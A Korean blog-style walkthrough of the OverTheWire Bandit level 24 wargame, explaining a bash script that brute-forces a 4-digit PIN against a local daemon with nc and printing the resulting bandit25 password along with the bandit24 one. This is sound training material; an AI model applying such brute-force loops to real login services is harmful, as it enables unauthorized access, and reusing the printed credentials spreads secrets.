A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.
You do not need to create new connections each time
데몬은 30002 포트를 열고 대기하고 있고 bandit24의 비밀번호와 4자리 핀번호가 주어지면 bandit25 비밀번호를 응답한다고 합니다.
핀 번호에 대한 힌트는 없는 것 같네요.
같이 풀어봅시다!
이 문제는 '브루트포스'와 '네트워크 소켓 통신' 문제입니다.
로컬 호스트의 30002 포트로 연결하여 bandit24의 비밀번호 + 4자리 숫자의 핀번호를 무작위로 전송하여 정답을 맞추면 답을 보내주는 것이에요!
해당 스크립트를 한번 짜 보겠습니다.
#!/bin/bash
password=gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8
{
for pin in $(seq -w 0000 9999); do
echo "$password $pin"
done
} | nc localhost 30002
위와 같은데요!
하나하나 알아가봅시다.
먼저 패스워드와 핀번호를 보내야 하기에 패스워드를 변수 선언하여 값을 대입합니다.
그리고 for 문을 통하여 임의의 핀번호 4자리 값을 생성해야 하는데요.
seq 명령어를 사용합니다.
moonsookang@MoonSooui-noteubug ~ % seq -w 1 5
1
2
3
4
5
위 명령어 처럼 seq -w [숫자] [숫자]를 설정하면 해당 범위 내의 수를 출력해 줍니다.
위 실행 결과 처럼요!
'seq -w 0000 9999' 이 명령문은 0000부터 9999까지 1만개의 수를 차례로 출력을 하겠지요?
그 다음 echo 명령어를 이용하여 패스워드 + 핀번호 출력을 하고, 그 값을 30002 포트로 연결하여 보내는 겁니다!
이 스크립트를 실행해 볼까요?
bandit24@bandit:/tmp$ ./bandit24.sh
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct current password and pincode. Try again.
Wrong! Please enter the correct current password and pincode. Try again.
Wrong! Please enter the correct current password and pincode. Try again.
...
Correct!
The password of user bandit25 is iCi86ttT4KSNe1armKiwbQNmB3YJP3q4
비밀번호 출력 완료입니다!
꾸준함이 정말 멋져요!!
항상 응원합니다 🫶🏻🫶🏻🫶🏻